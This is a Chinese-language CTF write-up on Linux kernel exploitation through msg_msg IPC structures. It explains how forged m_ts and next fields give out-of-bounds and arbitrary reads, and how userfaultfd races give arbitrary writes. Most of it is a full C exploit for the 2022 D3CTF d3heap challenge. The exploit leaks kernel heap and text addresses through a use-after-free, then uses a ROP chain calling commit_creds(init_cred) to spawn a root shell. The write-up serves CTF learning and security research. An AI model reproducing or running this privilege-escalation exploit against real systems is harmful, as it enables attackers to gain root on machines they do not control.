msgsnd和msgrcv的源码分析
内核通过msgsnd和msgrcv来进行IPC通信。内核消息分为两个部分，一个是消息头msg_msg(0x30)，以及后面跟着的消息数据。整个内核消息的长度是从kmalloc-64到kmalloc-4096`。
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
msgsnd发送数据调用链及方法
调用链：通过msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg()来分配消息头和消息的数据，接着通过load_msg() -> copy_from_user()来将用户数据拷贝进内核。
使用方法：例如我们想要发送一个包含0x1000个'A'的消息，代码如下：
struct msgbuf
{
long mtype;
char mtext[0x1000];
} msg;
msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));
qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);
此外如果消息长度超过0xfd0，那么就会采取分段储存的方式，采用单向链表进行连接。第一个称作消息头，用msg_msg结构进行储存，第二个和第三个称作segment，用msg_msgseg结构进行储存。消息的最大长度由/proc/sys/kernel/msgmax确定，默认大小为8192个字节，所以最多连接三个成员。
msgrcv接收数据的调用链及方法
调用链msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。通过find_msg来定位消息，并将消息从队列中unlink，再调用do_msg_fill() -> store_msg()来将消息从内核空间拷贝到用户空间，最后调用free_msg释放消息。
使用方法：例如我们想要接收一个包含0x1000个'A'的消息，代码如下：
void *memdump = malloc(0x1000);
msgrcv(qid, memdump, 0x1000, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
此外值得注意的是：如果用flag:MSG_COPY来调用msgrcv()，就会调用prepare_copy()分配临时消息，并调用copy_msg()将请求的数据拷贝到该临时消息。在将消息拷贝到用户空间之后，原始消息会被保留，不会从队列中unlink，而是直接goto out_unlock0，然后调用free_msg()删除该临时消息，有些题目中这一点对于利用很重要。为什么？因为有些题目漏洞在UAF的时候，没有泄露正确地址，所以会破坏msg_msg->m_list双链表指针，unlink会触发崩溃。如果某漏洞可以跳过前16字节，那就不需要注意这一点。
数据泄露
越界读取数据
在拷贝数据的时候，我们对数据长度的判断主要是依靠msg_msg->m_ts。所以我们可以想到如果我们可以控制某一个消息的msg_msg使得msg_msg->m_ts被改为一个较大的数，那么我们就能够实现越界读取数据。
任意地址读取
对于大于0xfd0的数据，内核会在msg_msg的基础上再加上msg_msgseg结构体，形成一个单向链表，如果我们能够同时控制msg_msg->m_ts及msg_msg->next，我们便可以实现任意地址读。但是这里需要注意的是，无论我们采用MSG_COPY还是常规消息接收，拷贝消息的主要依据还是msg_msg->next，所以为了避免遍历消息时出现访存崩溃，实现对特定地址以后数据的读取，我们需使得segment的前8字节为NULL。
任意地址写
我们可以通过结合userfaultfd或者FUSE实现race condition。当我们在调用msgsnd 系统调用时，其会继续调用load_msg将用户数据拷贝到内核空间中。它会先调用alloc_msg分配msg_msg的单向链表，之后才会进行数据的拷贝过程。所以这里的空间分配和数据拷贝实际上是分开进行的。故我们不难想到，在拷贝时利用userfaultfd或者FUSE将拷贝停止下来，并在子进程中篡改msg_msg->next，恢复拷贝后即可向我们篡改后的地址上写入数据，从而实现任意地址写。
例题：2022d3CTF-d3heap
exp：(对着arttnba3师傅的exp改了改)
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0
#define SECONDARY_STARTUP_64 0xffffffff81000040
size_t user_cs, user_ss, user_sp, user_rflags;
size_t kernel_offset, kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;
int fd;
int pipe_fd, pipe_fd1[2], pipe_fd2[2];
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void add()
{
ioctl(fd, 0x1234);
}
void delete()
{
ioctl(fd, 0xdead);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[+] save the state success!\033[0m\n");
}
void get_shell()
{
if (getuid() == 0)
{
printf("\033[32m\033[1m[+] get root shell !\033[0m\n");
system("/bin/sh");
//char *shell = "/bin/sh";
//char *args[] = {shell, NULL};
//execve(shell, args, NULL);
}
else
{
printf("\033[31m\033[1m[-] get shell error !\033[0m\n");
exit(0);
}
}
size_t kernelLeakQuery(size_t kernel_text_leak)
{
size_t kernel_offset = 0xdeadbeef;
switch (kernel_text_leak & 0xfff)
{
case 0x6e9:
kernel_offset = kernel_text_leak - 0xffffffff812b76e9;
break;
case 0x980:
kernel_offset = kernel_text_leak - 0xffffffff82101980;
break;
case 0x440:
kernel_offset = kernel_text_leak - 0xffffffff82e77440;
break;
case 0xde7:
kernel_offset = kernel_text_leak - 0xffffffff82411de7;
break;
case 0x4f0:
kernel_offset = kernel_text_leak - 0xffffffff817894f0;
break;
case 0xc90:
kernel_offset = kernel_text_leak - 0xffffffff833fac90;
break;
case 0x785:
kernel_offset = kernel_text_leak - 0xffffffff823c3785;
break;
case 0x990:
kernel_offset = kernel_text_leak - 0xffffffff810b2990;
break;
case 0x900:
kernel_offset = kernel_text_leak - 0xffffffff82e49900;
break;
case 0x8b4:
kernel_offset = kernel_text_leak - 0xffffffff8111b8b4;
break;
case 0xc40:
kernel_offset = kernel_text_leak - 0xffffffff8204ac40;
break;
case 0x320:
kernel_offset = kernel_text_leak - 0xffffffff8155c320;
break;
case 0xee0:
kernel_offset = kernel_text_leak - 0xffffffff810d6ee0;
break;
case 0x5e0:
kernel_offset = kernel_text_leak - 0xffffffff810e55e0;
break;
case 0xe80:
kernel_offset = kernel_text_leak - 0xffffffff82f05e80;
break;
case 0x260:
kernel_offset = kernel_text_leak - 0xffffffff82ec0260;
break;
default:
puts("[-] fill up your dict!");
break;
}
if ((kernel_offset % 0x100000) != 0)
kernel_offset = 0xdeadbeef;
return kernel_offset;
}
typedef struct
{
long mtype;
char mtext[1];
}msg;
struct list_head
{
struct list_head *next, *prev;
};
/* one msg_msg structure for each message */
struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};
int main()
{
size_t *buf;
size_t kernel_heap_leak;
size_t kernel_heap_search;
size_t kernel_text_leak;
size_t page_offset_base_guess;
size_t msg_offset, msg_offset_count;
size_t fake_ops_addr, fake_ops_offset, kmsg_addr;
int kmsg_idx;
int ms_qid[0x100];
int ret;
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
save_status();
buf = (size_t*)malloc(0x4000);
memset(buf, 0, 0x4000);
fd = open("/dev/d3kheap", O_RDONLY);
if(fd < 0)
ErrExit("[-] open d3heap error");
add();
delete();
for (int i = 0; i < 5; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}
for (int i = 0; i < 5; i++)
{
memset(buf, 'A'+i, 0X1000 - 8);
ret = msgsnd(ms_qid[i], buf, 1024 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
delete();
memset(buf, 'B', 0x1000);
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30;
((struct msg_msg*) buf)->next = NULL;
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[0], buf, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
for (int i = 0; i < ((0x1000 - 0x30) / 8); i++)
{
printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);
if (((buf[i] & 0xffff000000000000) == 0xffff000000000000) && !kernel_heap_leak && (buf[i + 3] == (1024 - 0x30)))
{
printf("\033[32m\033[1m[+] We got heap leak! kheap: 0x%lx\033[0m\n", buf[i]);
kernel_heap_leak = buf[i];
kmsg_idx = (int)(((char*)(&buf[i + 2]))[0] - 'A');
fake_ops_offset = i * 8 + 0x30 - 8;
}
if (((buf[i] & 0xffffffff00000000) == 0xffffffff00000000) && !kernel_text_leak)
{
printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);
kernel_offset = kernelLeakQuery(buf[i]);
printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
if (kernel_offset != 0xdeadbeef)
{
kernel_text_leak = buf[i];
kernel_base += kernel_offset;
}
}
if (kernel_text_leak && kernel_heap_leak)
break;
}
if (!kernel_heap_leak)
ErrExit("\033[31m\033[1m[-] Failed to leak kernel heap!\033[0m\n");
//if (!kernel_text_leak)
// ErrExit("\033[31m\033[1m[-] Failed to leak kernel text!\033[0m\n");
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 -8;
((struct msg_msg*) buf)->next = (void*)(kernel_heap_leak - 8); // q_messages - 8
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30 -8, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
kmsg_addr = buf[(0x1000 - 0x30) / 8 + 1];
fake_ops_addr = kmsg_addr - fake_ops_offset;
printf("\033[32m\033[1m[+] UAF as fake ops addr at: 0x%lx, cal by msg idx: %d at addr: 0x%lx\033[0m\n", fake_ops_addr, kmsg_idx, kmsg_addr);
kernel_heap_search = kmsg_addr - 8;
for (int leaking_times = 0; !kernel_text_leak; leaking_times++)
{
printf("[*] per leaking, no.%d time(s)\n", leaking_times);
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30;
((struct msg_msg*) buf)->next = (void*)kernel_heap_search;
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
printf("[*] Now searching: 0x%lx\n", kernel_heap_search);
ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
msg_offset_count = 0;
msg_offset = 0xdeadbeefbad4f00d;
for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8; i++)
{
printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);
if ((buf[i] > 0xffffffff81000000) && (buf[i] < 0xffffffffbfffffff) && !kernel_text_leak)
{
printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);
kernel_offset = kernelLeakQuery(buf[i]);
if (kernel_offset != 0xdeadbeef)
{
kernel_text_leak = buf[i];
kernel_base += kernel_offset;
break;
}
}
if (!buf[i])
msg_offset = msg_offset_count * 8;
msg_offset_count++;
}
if (kernel_text_leak)
break;
if (msg_offset == 0xdeadbeefbad4f00d)
ErrExit("[-] Failed to find next valid foothold!");
kernel_heap_search += msg_offset;// to make the msg_msg->next == NULL, search from the last NULL
}
printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
printf("\033[32m\033[1m[+] kernel base: 0x%lx\033[0m\n", kernel_base);
((struct msg_msg*) buf)->m_list.next = (struct list_head *)kernel_heap_search; // a pointer to the heap is available, list_del (aka unlink) is easy to pass
((struct msg_msg*) buf)->m_list.prev = (struct list_head *)kernel_heap_search;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 1024 - 0x30;
((struct msg_msg*) buf)->next = NULL;
((struct msg_msg*) buf)->security = NULL;
// while the kmem_cache->offset is not 0, we can easily repair the header of msg_msg
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg
if (ret < 0)
ErrExit("[-] msgrcv error");
ret = msgrcv(ms_qid[0], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // constructing A->B->A
if (ret < 0)
ErrExit("[-] msgrcv error");
pipe(pipe_fd1);
pipe_fd = pipe_fd1[1];
pipe(pipe_fd2);
memset(buf, 'B', 0x1000);
buf[2] = fake_ops_addr;
buf[1] = 0xffffffff812dbede + kernel_offset; // push rsi ; pop rsp ; pop 4 val ; ret
// construct ROP
int rop_idx = 4;
buf[rop_idx++] = POP_RDI_RET + kernel_offset;
buf[rop_idx++] = INIT_CRED + kernel_offset;
buf[rop_idx++] = COMMIT_CREDS + kernel_offset;
buf[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16 + kernel_offset;
buf[rop_idx++] = 0;
buf[rop_idx++] = 0;
buf[rop_idx++] = (size_t)get_shell;
buf[rop_idx++] = user_cs;
buf[rop_idx++] = user_rflags;
buf[rop_idx++] = user_sp;
buf[rop_idx++] = user_ss;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
close(pipe_fd1[0]);
close(pipe_fd1[1]);
return 0;
}